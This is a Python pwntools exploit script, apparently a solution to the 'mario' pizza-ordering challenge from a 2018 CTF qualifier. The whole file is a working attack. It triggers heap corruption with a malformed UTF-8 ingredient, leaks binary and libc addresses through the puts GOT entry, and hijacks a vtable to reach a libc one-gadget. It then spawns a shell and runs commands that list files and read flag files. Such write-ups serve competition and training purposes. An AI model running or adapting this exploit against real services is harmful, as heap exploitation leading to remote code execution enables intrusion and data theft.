#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

from pow import solve_pow

pineapple = u'🍍'.encode('utf-8')
tomato = u'🍅'.encode('utf-8')
illegal = [chr(0b11100000) + pineapple[:2], pineapple[2:] + 'A' * 15]

name_buf = 0x20c5e0
magic = 0xf02a4

binary = ELF('./mario')
libc = ELF('./libc.so.6')

context.binary = binary


def exploit():
    do_connect()

    # ----- leak binary -----

    create_user('bad')
    order(illegal)
    logout()

    create_user('good')
    order([tomato])
    cook('A' * 0x32)
    order(['A' * 0x12, 'A' * 0x12])
    logout()

    login('bad')
    cook('B' * 0x12)
    explain(flat('B' * 0x18, 0x21, 0, 'B' * 0x10, 0x51) + '\x11')

    login('good')
    cook('A')

    g.recvuntil('PIZZA #2')
    g.recvuntil('Adding ingredient: ')
    leak = u64(('\0' + g.recvuntil('\nAdding ingredient', drop=True)).ljust(8, '\0'))
    if leak:
        info("leak: 0x%x", leak)
        binary.address = leak - 0x20bc00
    else:
        g.close()
        warning("Exploit failed, trying again")
        return

    # ----- leak libc -----

    logout()
    create_user('bad2')
    order(illegal)
    logout()

    create_user('good2')
    order([tomato])
    cook('A' * 0x32)
    order(['A' * 0x12, 'A' * 0x12])
    logout()

    login('bad2')
    cook('B' * 0x12)
    explain(flat('B' * 0x18, 0x21, 0, 'B' * 0x10, 0x51, binary.got.puts, 0x12, 0x12))

    login('good2')
    cook('A')

    g.recvuntil('PIZZA #2')
    g.recvuntil('Adding ingredient: ')
    leak = u64(g.recvuntil('\nAdding ingredient', drop=True).ljust(8, '\0'))
    info("leak: 0x%x", leak)
    libc.address = leak - libc.symbols.puts

    # ----- fake vtable -----

    payload = p64(libc.address + magic)

    logout()
    create_user('user2')
    order(illegal)
    logout()

    create_user(payload)
    order([tomato, 'A' * 0x12, 'A' * 0x12])
    cook('A' * 0x37)
    cook('A')
    logout()

    login('user2')
    cook('B' * 0x67)
    explain('C' * 0x70 + p64(binary.address + name_buf))

    login(payload)
    admire()

    sleep(1)
    g.sendline('id;pwd;ls -al;cat fl* /home/*/fl*')
    g.interactive()
    exit()


def explain(msg):
    g.sendlineafter('Choice: ', 'P')
    g.sendlineafter('yourself: ', msg)


def cook(msg):
    g.sendlineafter('Choice: ', 'C')
    g.sendlineafter('explain: ', msg)


def order(ingredients):
    g.sendlineafter('Choice: ', 'O')
    g.sendlineafter('pizzas? ', '1')
    g.sendlineafter('ingredients? ', str(len(ingredients)))
    for i, ingredient in enumerate(ingredients, 1):
        g.sendlineafter('#%d: ' % i, ingredient)


def admire():
    g.sendlineafter('Choice: ', 'A')


def login(name):
    g.sendlineafter('Choice: ', 'L')
    g.sendlineafter('name? ', name)


def logout():
    g.sendlineafter('Choice: ', 'L')


def create_user(name):
    g.sendlineafter('Choice: ', 'N')
    g.sendlineafter('name? ', name)


def do_connect():
    global g
    if args.REMOTE:
        g = connect('83b1db91.quals2018.oooverflow.io', 31337)
        do_pow()
    else:
        g = process('./mario')


def do_pow():
    g.recvuntil('Challenge: ')
    chall = g.recvuntil('\nn: ', drop=True)
    n = int(g.recvuntil('\nSolution: \n', drop=True))
    info("Computing POW: %r, %d", chall, n)
    g.sendline(str(solve_pow(chall, n)))


if __name__ == '__main__':
    while True:
        exploit()
